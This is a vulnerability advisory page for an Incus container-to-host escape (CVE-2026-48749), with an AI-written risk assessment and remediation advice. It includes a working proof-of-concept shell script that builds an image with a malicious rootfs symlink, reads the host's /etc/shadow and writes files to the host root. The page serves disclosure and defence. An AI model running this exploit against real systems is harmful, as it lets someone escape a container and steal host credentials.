Incus CVE-2026-48749
CRITICAL
GHSA-2q3f-q5pq-g8wv
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Daemon API is network-reachable (AV:N) and the attack is reliable (AC:L) but needs an account able to import images/create instances (PR:L); container-to-host escape is a scope change (S:C) with full host C/I/A impact.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
3DescriptionGitHub Advisory
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
Incus validates an image as soon as it sees a normal metadata.yaml and a rootfs/ entry, but full extraction can later process a duplicate top-level rootfs symlink. Later, the stopped-container file API opens d.RootfsPath() and passes that file descriptor to forkfile, which chroots to it.
metadata.yaml
rootfs/
rootfs -> /In practice, this allows a malicious actor to access the host's filesystem with root privileges.
PoC
Below, we map the container's rootfs to / on the host, but it can be mapped anywhere. We then retrieve the host's /etc/shadow file and create a file in /.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar
# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
AnalysisAI
Container-to-host filesystem escape in Incus before 7.2.0 lets a user who can import images and create instances read and write arbitrary files on the host as root. A malicious image carrying a duplicate top-level 'rootfs' symlink (rootfs -> /) passes image validation, and the stopped-container file API later chroots into that symlinked path via forkfile, exposing the host root filesystem through 'incus file pull/push'. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | The attacker must have authenticated Incus access with permission to import an image and initialize/create an instance (CVSS PR:L), and must supply a maliciously crafted image tarball containing a standard metadata.yaml and rootfs/ directory plus an injected duplicate top-level 'rootfs' symlink pointing at the desired host path (e.g. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | Signals are largely consistent and point to a genuine high priority for environments running Incus. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | A user with limited Incus permissions on a shared/multi-tenant host crafts an image tarball containing a normal metadata.yaml plus a second top-level 'rootfs' entry that is a symlink to '/', imports it, and creates an instance from it. Using 'incus file pull' the attacker reads the host's /etc/shadow, and with 'incus file push' writes arbitrary files into the host root filesystem - potentially escalating to root command execution. … |
| Remediation | Vendor-released patch: 7.2.0 - upgrade Incus to 7.2.0 or later, which corrects the image validation/extraction so a duplicate top-level 'rootfs' symlink is no longer trusted; see the advisory at https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify and document all Incus deployments running versions before 7.2.0; restrict image import and instance creation capabilities to only trusted administrators; enable comprehensive audit logging for all container management operations. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-73 – External Control of File Name or Path
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today